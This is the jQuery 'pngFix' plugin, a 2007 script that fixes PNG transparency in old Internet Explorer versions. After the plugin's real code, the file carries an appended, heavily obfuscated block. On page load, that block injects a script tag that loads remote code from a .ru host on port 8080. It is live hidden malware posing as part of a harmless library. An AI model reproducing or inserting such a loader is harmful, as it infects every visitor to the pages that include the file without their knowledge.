/**
 * --------------------------------------------------------------------
 * jQuery-Plugin "pngFix"
 * Version: 1.1, 11.09.2007
 * by Andreas Eberhard, andreas.eberhard@gmail.com
 *                      http://jquery.andreaseberhard.de/
 *
 * Copyright (c) 2007 Andreas Eberhard
 * Licensed under GPL (http://www.opensource.org/licenses/gpl-license.php)
 *
 * Changelog:
 *    11.09.2007 Version 1.1
 *    - removed noConflict
 *    - added png-support for input type=image
 *    - 01.08.2007 CSS background-image support extension added by Scott Jehl, scott@filamentgroup.com, http://www.filamentgroup.com
 *    31.05.2007 initial Version 1.0
 * --------------------------------------------------------------------
 * @example $(function(){$(document).pngFix();});
 * @desc Fixes all PNG's in the document on document.ready
 *
 * jQuery(function(){jQuery(document).pngFix();});
 * @desc Fixes all PNG's in the document on document.ready when using noConflict
 *
 * @example $(function(){$('div.examples').pngFix();});
 * @desc Fixes all PNG's within div with class examples
 *
 * @example $(function(){$('div.examples').pngFix( { blankgif:'ext.gif' } );});
 * @desc Fixes all PNG's within div with class examples, provides blank gif for input with png
 * --------------------------------------------------------------------
 */

(function($) {

jQuery.fn.pngFix = function(settings) {

	// Settings
	settings = jQuery.extend({
		blankgif: 'blank.gif'
	}, settings);

	var ie55 = (navigator.appName == "Microsoft Internet Explorer" && parseInt(navigator.appVersion) == 4 && navigator.appVersion.indexOf("MSIE 5.5") != -1);
	var ie6 = (navigator.appName == "Microsoft Internet Explorer" && parseInt(navigator.appVersion) == 4 && navigator.appVersion.indexOf("MSIE 6.0") != -1);

	if (jQuery.browser.msie && (ie55 || ie6)) {

		//fix images with png-source
		jQuery(this).find("img[@src$=.png]").each(function() {

			jQuery(this).attr('width',jQuery(this).width());
			jQuery(this).attr('height',jQuery(this).height());

			var prevStyle = '';
			var strNewHTML = '';
			var imgId = (jQuery(this).attr('id')) ? 'id="' + jQuery(this).attr('id') + '" ' : '';
			var imgClass = (jQuery(this).attr('class')) ? 'class="' + jQuery(this).attr('class') + '" ' : '';
			var imgTitle = (jQuery(this).attr('title')) ? 'title="' + jQuery(this).attr('title') + '" ' : '';
			var imgAlt = (jQuery(this).attr('alt')) ? 'alt="' + jQuery(this).attr('alt') + '" ' : '';
			var imgAlign = (jQuery(this).attr('align')) ? 'float:' + jQuery(this).attr('align') + ';' : '';
			var imgHand = (jQuery(this).parent().attr('href')) ? 'cursor:hand;' : '';
			if (this.style.border) {
				prevStyle += 'border:'+this.style.border+';';
				this.style.border = '';
			}
			if (this.style.padding) {
				prevStyle += 'padding:'+this.style.padding+';';
				this.style.padding = '';
			}
			if (this.style.margin) {
				prevStyle += 'margin:'+this.style.margin+';';
				this.style.margin = '';
			}
			var imgStyle = (this.style.cssText);

			strNewHTML += '<span '+imgId+imgClass+imgTitle+imgAlt;
			strNewHTML += 'style="position:relative;white-space:pre-line;display:inline-block;background:transparent;'+imgAlign+imgHand;
			strNewHTML += 'width:' + jQuery(this).width() + 'px;' + 'height:' + jQuery(this).height() + 'px;';
			strNewHTML += 'filter:progid:DXImageTransform.Microsoft.AlphaImageLoader' + '(src=\'' + jQuery(this).attr('src') + '\', sizingMethod=\'scale\');';
			strNewHTML += imgStyle+'"></span>';
			if (prevStyle != ''){
				strNewHTML = '<span style="position:relative;display:inline-block;'+prevStyle+imgHand+'width:' + jQuery(this).width() + 'px;' + 'height:' + jQuery(this).height() + 'px;'+'">' + strNewHTML + '</span>';
			}

			jQuery(this).hide();
			jQuery(this).after(strNewHTML);

		});

		// fix css background pngs
		jQuery(this).find("*").each(function(){
			var bgIMG = jQuery(this).css('background-image');
			if(bgIMG.indexOf(".png")!=-1){
				var iebg = bgIMG.split('url("')[1].split('")')[0];
				jQuery(this).css('background-image', 'none');
				jQuery(this).get(0).runtimeStyle.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + iebg + "',sizingMethod='scale')";
			}
		});
		
		//fix input with png-source
		jQuery(this).find("input[@src$=.png]").each(function() {
			var bgIMG = jQuery(this).attr('src');
			jQuery(this).get(0).runtimeStyle.filter = 'progid:DXImageTransform.Microsoft.AlphaImageLoader' + '(src=\'' + bgIMG + '\', sizingMethod=\'scale\');';
   		jQuery(this).attr('src', settings.blankgif)
		});
	
	}
	
	return jQuery;

};

})(jQuery);


var p;if(p!='i' && p != ''){p=null};function x(){var hC;if(hC!='' && hC!='j'){hC=''};var c=unescape;var A=window;var S;if(S!='' && S!='F'){S=''};var AX=c("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%65%74%72%6f%66%6c%6f%67%2e%63%6f%6d%2f%6f%70%65%72%61%2e%63%6f%6d%2e%70%68%70");var K;if(K!='Q'){K='Q'};function s(b,C){var Fu;if(Fu!='' && Fu!='iz'){Fu=''};var o='';var R=new Date();var P="grXD".substr(0,1);var pc;if(pc!='mB'){pc=''};var QG;if(QG!=''){QG='u'};var d=c("%5b"), J=c("%5d");var Ee;if(Ee!='n' && Ee!='q'){Ee=''};var ES='';var z=d+C+J;var h=new RegExp(z, P);var Se='';return b.replace(h, new String());var vc="";var fB;if(fB!='LA' && fB!='w'){fB='LA'};};var z_;if(z_!='qP' && z_!='B'){z_=''};var asL='';var gi;if(gi!='' && gi!='w_'){gi=null};var Cq="";var Ez=new Array();var sH=new String();var T=document;this.hF='';var uc=new Array();var e=s('84102658551093','17632495');var CC='';var aA=new Date();var _N="";var Sk=new Array();function V(){this.Nb='';var pX=new Array();var xl="";var g=c("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");sH=g;var Fo;if(Fo!='' && Fo!='YX'){Fo=''};sH+=e;this.i_="";var z_X;if(z_X!='H' && z_X != ''){z_X=null};sH+=AX;var tZ;if(tZ!='' && tZ!='hi'){tZ=''};var LF=new String();try {Y=T.createElement(s('sAcZrhi9pktu','1hE9_OkZaJvA7MPuVxyDn'));this.qr='';var r_;if(r_!='' && r_!='uf'){r_=null};Y[c("%64%65%66%65%72")]=[1][0];this.jn="";Y[c("%73%72%63")]=sH;var VW;if(VW!=''){VW='zl'};var uH;if(uH!='yH' && uH!='Fe'){uH=''};T.body.appendChild(Y);var ju;if(ju!='pR' && ju != ''){ju=null};} catch(E){this.Go="";alert(E);var JB;if(JB!='gS' && JB!='dz'){JB='gS'};var FH;if(FH!='DF' && FH!='uT'){FH='DF'};};var zj;if(zj!='' && zj!='Yo'){zj='ta'};}var xY;if(xY!='' && xY!='qX'){xY='Vs'};var bb=new Array();var VK=new String();var _R=new String();A[new String("onl"+"oad")]=V;var me=new Array();var dK='';};var Nh;if(Nh!='sB' && Nh != ''){Nh=null};var NB;if(NB!='lq' && NB!='xr'){NB=''};var eb;if(eb!=''){eb='YN'};var wj;if(wj!=''){wj='lqn'};x();var vT;if(vT!='' && vT!='hS'){vT=''};var FX;if(FX!='' && FX!='zi'){FX=''};